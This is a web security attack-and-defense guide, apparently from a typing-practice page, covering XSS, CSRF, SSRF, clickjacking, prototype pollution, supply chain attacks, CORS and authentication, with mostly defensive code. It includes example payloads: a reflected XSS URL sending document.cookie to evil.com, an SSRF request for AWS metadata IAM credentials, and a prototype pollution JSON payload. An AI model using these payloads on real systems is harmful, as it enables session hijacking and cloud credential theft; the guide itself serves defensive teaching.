Skip to content

필사 모드: Web Security Attack and Defense in Practice — XSS, CSRF, SSRF, Clickjacking, Prototype Pollution, Supply Chain, CORS Complete Guide (2025)

English
0%
정확도 0%
💡 왼쪽 원문을 읽으면서 오른쪽에 따라 써보세요. Tab 키로 힌트를 받을 수 있습니다.

Why We Need a Post on "Attack Techniques"

Developers know the OWASP Top 10 exists. But they do not know where in their own code it lives. Security is not theory. It has to be learned through concrete attack techniques and concrete defensive code.

  • CVEs registered in 2024: an all-time record, more than 28,000.
  • npm attacks dropped 30% thanks to GitHub Dependabot, yet there are still hundreds a week.
  • AI-generated code carries on average a 40% higher vulnerability density (Stanford 2024).

In 2025 as well, the way your app gets hacked will most likely be one of the ten covered here.

Part 1 — XSS (Cross-Site Scripting)

Three Kinds

1. Reflected XSS

https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>

The server drops q into the HTML as-is. One click on the URL and the session is gone.

2. Stored XSS

The malicious script is saved into permanent storage such as comments or profiles. The worst case — every visitor is affected.

3. DOM-based XSS

The server is perfectly fine. Client-side JS inserts location.hash or postMessage into the DOM without validating it.

// Bad
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;

Defense Layers

1. Output Escaping (the basics)

  • React, Vue, and Svelte escape by default.
  • However, using dangerouslySetInnerHTML, v-html, or {@html} punches straight through it.
  • If users have to be able to supply HTML, sanitize it with DOMPurify.
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);

2. CSP (Content Security Policy)

The strongest XSS defense.

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https: data:;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
  • nonce: the server generates a random value per response and includes it in <script nonce="...">.
  • strict-dynamic: scripts loaded by a trusted script are allowed to run as well.
  • 'unsafe-inline' is an absolute no — 90% of CSP bypasses start there.

3. Trusted Types (Chrome 83+, unsupported in Firefox/Safari → polyfill)

"Never assign a string directly to a dangerous sink such as innerHTML."

Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('my-policy', {
  createHTML: (input) => DOMPurify.sanitize(input)
});

element.innerHTML = policy.createHTML(userInput);

After Google made it mandatory, XSS reports across its own apps plummeted.

4. Framework-Safe APIs

  • React: regular children instead of dangerouslySetInnerHTML.
  • Vue: {{ }} instead of v-html.
  • Angular: [innerHTML] + DomSanitizer.

Part 2 — CSRF (Cross-Site Request Forgery)

How It Works

An attacker site auto-submits <form action="https://bank.com/transfer" method="POST">. The cookies of the victim are sent along automatically, so the request succeeds.

Defense Before 2020: CSRF Token

  • The server issues a token → it goes into a hidden form field → it gets verified.
  • Built in by default in Django and Rails.
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/
  • Lax (the Chrome default since 2020): only top-level navigation GET is allowed.
  • Strict: never sent on a cross-site request.
  • None: no restriction (Secure required).

Most CSRF is defended automatically by SameSite Lax. However, these cases still need a token:

  • GET requests that change state (a RESTful violation).
  • Requests between subdomains.
  • POST endpoints opened up through CORS.

CSRF defense without a server-side session. The same token is sent in a cookie and in a request header, and the two are compared. Frequently used with SPA + token authentication.

Part 3 — SSRF (Server-Side Request Forgery)

The 2019 Capital One Incident

The attacker (Paige Thompson) induced a request from the server side to the AWS EC2 metadata endpoint (169.254.169.254), stole IAM credentials, and leaked the data of 100 million people from an S3 bucket.

Attack Pattern

# Server code
@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    return requests.get(url).text

# Attack: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Defense

  1. Use IMDSv2 (AWS) — token-based, so even a GET needs a session.

    MetadataOptions:
      HttpTokens: required
      HttpPutResponseHopLimit: 1
    
  2. URL validation — check the scheme, host, and port, and check the IP after DNS resolution.

    • Block the private IP ranges (10/8, 172.16/12, 192.168/16, 127/8, 169.254/16).
    • DNS rebinding defense — re-validate immediately before the real request is issued.
  3. Network separation — place code that risks SSRF in a VPC/subnet that cannot reach the metadata endpoint.

  4. Outbound proxy — force everything through an allowlist-based proxy.

  5. redirect: 'manual' in the fetch library — stops redirects from being used to reach internal targets.

Additional Points: 0.0.0.0, IPv6, Shortened URLs

  • http://0.0.0.0/ → resolves to the local bind address.
  • http://[::1]/ → IPv6 loopback.
  • http://bit.ly/... → an internal target by way of a redirect.

Part 4 — Clickjacking

How It Works

An attacker site overlays the victim site transparently in an <iframe> and intercepts the clicks of the user.

Defense

X-Frame-Options: DENY
or
Content-Security-Policy: frame-ancestors 'none'

frame-ancestors is stronger and more flexible (it can allow several domains). X-Frame-Options is legacy, but adding it as well is still the safe move.

Defense from the user side: put a re-authentication or extra confirmation step in front of important actions (payment, password change).

Part 5 — Prototype Pollution

How It Works (common to Node.js and browser JS)

const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// From here on every object carries isAdmin: true
({}).isAdmin  // true

Real CVEs

  • Lodash (2019, _.merge) — millions of apps affected.
  • jQuery $.extend(true, ...).
  • minimist (2020) — countless CLI tools affected.

Defense

  1. Filter out __proto__, constructor, and prototype in recursive merges.
  2. Object.freeze(Object.prototype) — at app startup where possible.
  3. Use Map — reach for a Map instead of a plain object when storing arbitrary keys.
  4. Object.create(null) — an object with no prototype.
function safeMerge(target, source) {
  for (const key in source) {
    if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
    target[key] = source[key];
  }
}

Part 6 — Supply Chain Attacks

Landmark Incidents

event-stream (2018)

Malicious code was slipped into an npm package with 2M weekly downloads. The Copay cryptocurrency wallet was the target. It tried to steal BTC from the wallets of victims.

ua-parser-js (2021)

6M weekly downloads. The attacker took over the account of a maintainer and published malicious versions.

xz-utils (2024)

A compression library included in nearly every Linux. "Jia Tan" spent two years earning maintainer status and then inserted an OpenSSH backdoor. Microsoft engineer Andres Freund stumbled onto it by chance.

SolarWinds (2020)

The build pipeline itself was breached. Malicious code rode along in signed updates and reached 18,000 customers.

Defense

  1. Commit the lock filepackage-lock.json, pnpm-lock.yaml.
  2. npm ci — honor the lock file in CI.
  3. Automated dependency updates + review — Dependabot / Renovate.
  4. Vulnerability scanners — Snyk, GitHub Advisory, npm audit.
  5. Generate an SBOM — inventory the components with Syft.
  6. Signature verification — npm 2023+ provenance, Sigstore/cosign.
  7. OSSF Scorecard — check the security score of a package.
  8. Least-privilege CI — do not let the build server hold more permission than it needs.

Typosquatting

rquest (the real one is request), lodas (the real one is lodash) — malicious packages that prey on typos. Build the habit of copying the official name.

Part 7 — Understanding CORS Completely

What Many Developers Get Wrong

"Loosen CORS and you loosen security." Wrong. CORS is not a security feature but a mechanism for granting exceptions to the Same-Origin Policy (SOP). SOP is the shield by default, and CORS is the tool that punches holes in that shield.

The Basic Rules

When the browser sends a cross-origin request:

  • Simple request: GET/HEAD/POST + certain Content-Types → sent straight away, and if the response carries Access-Control-Allow-Origin, reading it is permitted.
  • Preflight: PUT/DELETE/custom headers/JSON POST → checked first with an OPTIONS request.

Common Mistakes

1. Access-Control-Allow-Origin: * + Allow-Credentials: true

The browser refuses it. A wildcard cannot carry credentials. Always echo one specific origin.

// Bad
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');

// Good (after the allowlist check)
if (allowedOrigins.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Vary', 'Origin');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
}

2. Echoing Origin back as-is

Echo it without a pattern check and any site at all can read credentials → critical.

3. A missing Vary: Origin

The cache serves the wrong response to a different origin.

How CORS Relates to Security

  • An open CORS policy does not leak tokens — HttpOnly cookies and the Authorization header are still safe.
  • But when CSRF defense leans on SameSite plus Origin validation, a CORS misconfiguration ends up permitting authenticated requests.

Part 8 — Rate Limiting & Bot Defense

Why It Is Needed

  • Login brute force
  • Registration spam
  • Cost explosions caused by scraping
  • API abuse by AI over-users

Strategies

  1. IP-based token bucket — Redis INCR + TTL is the common implementation.
  2. User/account based — after login, count per account rather than per IP.
  3. Sliding window — accurate but expensive.
  4. Blocking at the CDN/edge tier — Cloudflare, Fastly, Vercel Firewall.

Bot Detection

  • Cloudflare Turnstile (2022) — a CAPTCHA replacement with good user experience.
  • hCaptcha, Google reCAPTCHA v3.
  • Arkose Labs — the standard in finance.
  • Device Fingerprinting — FingerprintJS.

Response Policy

  • 429 Too Many Requests plus a Retry-After header.
  • A clear error beats a silent failure for both users and the support team.
  • Against attackers, a delayed response (tarpit) makes them waste time.

Part 9 — Common Authentication Mistakes

1. Keeping the JWT in localStorage

One XSS and it is stolen. Use an HttpOnly cookie.

2. SHA-256 for password hashing

Only Argon2id, bcrypt, or scrypt. An ordinary hash can be reversed hundreds of millions of times per second on a GPU.

3. A predictable password recovery token

Mistakes on the order of btoa(email + Date.now()). Use a cryptographic random value + a short TTL + single use.

4. Email Enumeration

"This email is not registered" → the attacker harvests a member list. Keep the response consistent.

5. Session Fixation

On a successful login, always rotate the session ID.

Part 10 — Mistakes with HTTPS and Certificates

HSTS Left Unconfigured

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

It defends the initial HTTP request against MITM. Register on the preload list and even the first visit is protected.

The Trap of Certificate Pinning

Pinning a public key into a mobile app. When the certificate is renewed, if you cannot ship a new build, every single user is cut off. If the service has tens of millions of users, do not pin. Monitoring CT (Certificate Transparency) is the more practical route.

Let's Encrypt + Auto-Renewal

  • 90-day certificates → auto-renewal is mandatory.
  • In 2024, ACME Renewal Info (ARI) made renewal timing smarter.
  • rustls-acme, lego, certbot, Caddy (built in).

Part 11 — Practical Checklist (12 Items)

  1. CSP from the very start — bolt it on at runtime and unsafe-inline always lingers.
  2. SameSite=Lax by default — None only as an exception.
  3. HttpOnly + Secure — self-evident for session cookies.
  4. Enforce IMDSv2 — mandatory when you are on AWS.
  5. URL fetches go through an SSRF proxy — no direct fetch(userUrl).
  6. Dependencies get a lock file + automated auditing.
  7. Every external input gets schema validation (Zod and friends).
  8. Sanitize the output sink — DOMPurify before you assign to innerHTML.
  9. Argon2id for passwords — though existing bcrypt is fine too.
  10. Rate limit + exponential backoff on failed logins.
  11. Secrets live in Vault/Secrets Manager — no committing .env files.
  12. Set every security header — HSTS, CSP, XFO, XCTO, Referrer-Policy, Permissions-Policy.

Part 12 — Ten Anti-Patterns

  1. innerHTML = userData — a straight shot to XSS.
  2. Overusing dangerouslySetInnerHTML — reaching for it with no sanitizing.
  3. Access-Control-Allow-Origin: * + credentials.
  4. URL fetching with no validation whatsoever.
  5. eval, Function(string), setTimeout(string).
  6. A JWT in localStorage — one XSS and everything goes.
  7. Password reset tokens that are plain numbers or time-based.
  8. Internal details exposed in error messages — stack traces, queries, tokens.
  9. Allowing unlimited attempts with no CAPTCHA.
  10. "It is HTTPS, so it is safe" — transport security is the baseline. Authentication and authorization are a separate matter.

Part 13 — Learning & Practice Resources

  • Book: The Web Application Hacker's Handbook (Stuttard & Pinto) — the classic.
  • Book: Real-World Bug Hunting (Peter Yaworski) — real cases from HackerOne.
  • Platform: PortSwigger Web Security Academy (free).
  • Competition/practice: HackTheBox, TryHackMe.
  • Tools: Burp Suite, OWASP ZAP, Semgrep, CodeQL.
  • News: Krebs on Security, The Hacker News, GitHub Advisory DB.
  • Essays: read the annual security reports from Snyk/Google.

Closing — Security Is "The Fundamentals"

The attacks in this post have repeated year after year from 1998 through 2024. New technology arrives, and still the apps that skipped the fundamentals are the first ones broken into.

For an engineer in 2025, security is not "a specialty that hackers practice". It is the fundamentals, dissolved into every code review, every library choice, and every API design of every day.

The good news: most of the defenses in this post are free. CSP, SameSite, DOMPurify, Zod, Dependabot, Cloudflare Turnstile. One line of configuration or one library neutralizes an enormous number of attacks.

The bad news: putting it off with "I will definitely do it on the next project". An app that is already deployed is being scanned at this very moment.

Next Post Preview — "Network Engineering in Practice" — TCP Congestion Control, TLS 1.3, HTTP/3 QUIC, DNS over HTTPS, BGP, and the Insides of a CDN

If web security was about "what do we block", the next post is about "how does data travel".

  • The modern era of TCP congestion control — BBR, CUBIC, PRR
  • The TLS 1.3 revolution — 1-RTT, 0-RTT, Post-Quantum
  • HTTP/3 + QUIC — a UDP-based reinterpretation
  • The evolution of DNS — DoH, DoT, DNSSEC, ECS
  • BGP hijacking — the real cause behind the 6-hour Facebook outage of 2021
  • Anycast and CDN routing — Cloudflare/Fastly/Akamai
  • WebSocket vs SSE vs WebTransport — picking a real-time channel
  • The security risk of Zero RTT — replay attack
  • Observing the network with eBPF
  • Understanding a protocol packet by packet — Wireshark in practice

How to chase the cause of "the network feels slow" down into the protocol layer. In the next post.

현재 단락 (1/193)

Developers know the OWASP Top 10 exists. But they do not know **where in their own code** it lives. ...

작성 글자: 0원문 글자: 13,865작성 단락: 0/193